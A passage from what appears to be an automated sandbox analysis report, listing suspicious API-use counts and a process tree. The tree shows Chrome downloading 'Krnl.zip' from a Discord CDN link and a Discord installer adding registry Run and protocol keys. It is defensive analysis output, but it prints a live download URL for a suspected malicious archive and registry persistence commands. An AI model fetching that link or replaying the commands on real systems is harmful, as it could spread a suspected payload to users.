3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
4984	chrome.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe
3780	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4688	Everything.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4984 wrote to memory of 4840	4984	chrome.exe	80
PID 4984 wrote to memory of 4840	4984	chrome.exe	80
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 824	4984	chrome.exe	83
PID 4984 wrote to memory of 400	4984	chrome.exe	84
PID 4984 wrote to memory of 400	4984	chrome.exe	84
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86
PID 4984 wrote to memory of 3608	4984	chrome.exe	86

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" https://cdn.discordapp.com/attachments/1045003118900940843/1054445358895353876/Krnl.zip
  2⤵
  - Enumerates system info in registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4984
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffae58a4f50,0x7ffae58a4f60,0x7ffae58a4f70
    3⤵
    PID:4840
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1624 /prefetch:2
    3⤵
    PID:824
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1988 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:400
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2388 /prefetch:8
    3⤵
    PID:3608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3040 /prefetch:1
    3⤵
    PID:4700
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3064 /prefetch:1
    3⤵
    PID:1620
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4332 /prefetch:8
    3⤵
    PID:3312
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4468 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:1040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4352 /prefetch:8
    3⤵
    PID:1440
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5160 /prefetch:8
    3⤵
    PID:2396
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5208 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:444
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5168 /prefetch:8
    3⤵
    PID:2368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5452 /prefetch:8
    3⤵
    PID:8
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5276 /prefetch:8
    3⤵
    PID:644
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5444 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4760 /prefetch:1
    3⤵
    PID:5040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:1
    3⤵
    PID:828
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
    3⤵
    PID:4656
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6220 /prefetch:8
    3⤵
    PID:4972
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6088 /prefetch:8
    3⤵
    PID:4136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5904 /prefetch:8
    3⤵
    PID:1040
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6048 /prefetch:8
    3⤵
    PID:2724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6516 /prefetch:8
    3⤵
    PID:4784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6192 /prefetch:1
    3⤵
    PID:4608
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6624 /prefetch:1
    3⤵
    PID:2724
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3792 /prefetch:1
    3⤵
    PID:2052
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6052 /prefetch:8
    3⤵
    PID:5020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6056 /prefetch:8
    3⤵
    PID:1752
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5436 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3168
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4556 /prefetch:8
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6088 /prefetch:8
    3⤵
    PID:3588
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1616,13380653609115266218,290649768666354126,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=5776 /prefetch:8
    3⤵
    PID:2368
- - C:\Users\Admin\Downloads\DiscordSetup.exe
    "C:\Users\Admin\Downloads\DiscordSetup.exe"
    3⤵
    - Executes dropped EXE
    PID:1752
  - - C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe
      "C:\Users\Admin\AppData\Local\SquirrelTemp\Update.exe" --install .
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Suspicious use of AdjustPrivilegeToken
      PID:4384
    - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --squirrel-install 1.0.9008
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:4652
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://sentry.io/api/146342/minidump/?sentry_key=384ce4413de74fe0be270abe03b2b35a "--annotation=_companyName=Discord Inc." --annotation=_productName=Discord --annotation=_version=1.0.9008 --annotation=prod=Electron --annotation=ver=13.6.6 --initial-client-data=0x470,0x474,0x478,0x46c,0x47c,0x7a83850,0x7a83860,0x7a8386c
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1440
      - C:\Users\Admin\AppData\Local\Discord\Update.exe
        
        C:\Users\Admin\AppData\Local\Discord\Update.exe --createShortcut Discord.exe --setupIcon C:\Users\Admin\AppData\Local\Discord\app.ico
        6⤵
        Executes dropped EXE
        
        PID:2400
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1760,1440645201626933136,3920480306203372435,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1764 /prefetch:2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2176
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1760,1440645201626933136,3920480306203372435,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2088 /prefetch:8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3744
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "C:\Users\Admin\AppData\Local\Discord\Update.exe --processStart Discord.exe" /f
        6⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:3752
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f
        6⤵
        Modifies registry key
        
        PID:2364
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f
        6⤵
        Modifies registry key
        
        PID:5044
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe\",-1" /f
        6⤵
        Modifies registry key
        
        PID:5088
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe\" --url -- \"%1\"" /f
        6⤵
        Modifies registry key
        
        PID:2748
    - - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --squirrel-firstrun
        5⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:644
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\discord /prefetch:7 --no-rate-limit --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\discord\Crashpad --url=https://sentry.io/api/146342/minidump/?sentry_key=384ce4413de74fe0be270abe03b2b35a "--annotation=_companyName=Discord Inc." --annotation=_productName=Discord --annotation=_version=1.0.9008 --annotation=prod=Electron --annotation=ver=13.6.6 --initial-client-data=0x464,0x468,0x46c,0x460,0x470,0x7a83850,0x7a83860,0x7a8386c
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3740
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=gpu-process --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1768 /prefetch:2
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3920
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /ve /d "URL:Discord Protocol" /f
        6⤵
        Modifies registry key
        
        PID:4716
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 /prefetch:8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4940
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2624 /prefetch:1
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        
        PID:4276
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord /v "URL Protocol" /f
        6⤵
        Modifies registry key
        
        PID:2716
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\DefaultIcon /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe\",-1" /f
        6⤵
        Modifies registry key
        
        PID:1280
      - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add HKCU\Software\Classes\Discord\shell\open\command /ve /d "\"C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe\" --url -- \"%1\"" /f
        6⤵
        Modifies registry key
        
        PID:4788
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=renderer --autoplay-policy=no-user-gesture-required --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --disable-gpu-compositing --lang=en-US --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\resources\app.asar" --no-sandbox --no-zygote --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3524 /prefetch:1 --enable-node-leakage-in-renderers
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Checks processor information in registry
        
        PID:5056
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /q /d /s /c "C:\Program^ Files\NVIDIA^ Corporation\NVSMI\nvidia-smi.exe"
        7⤵
        
        PID:5388
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
        "C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1760,4713964028997742442,7343976799757082738,131072 --disable-features=CookiesWithoutSameSiteMustBeSecure,HardwareMediaKeyHandling,MediaSessionService,SameSiteByDefaultCookies,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4080 /prefetch:8
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:4564
      - C:\Users\Admin\AppData\Local\Discord\app-1.0.9008\Discord.exe
        
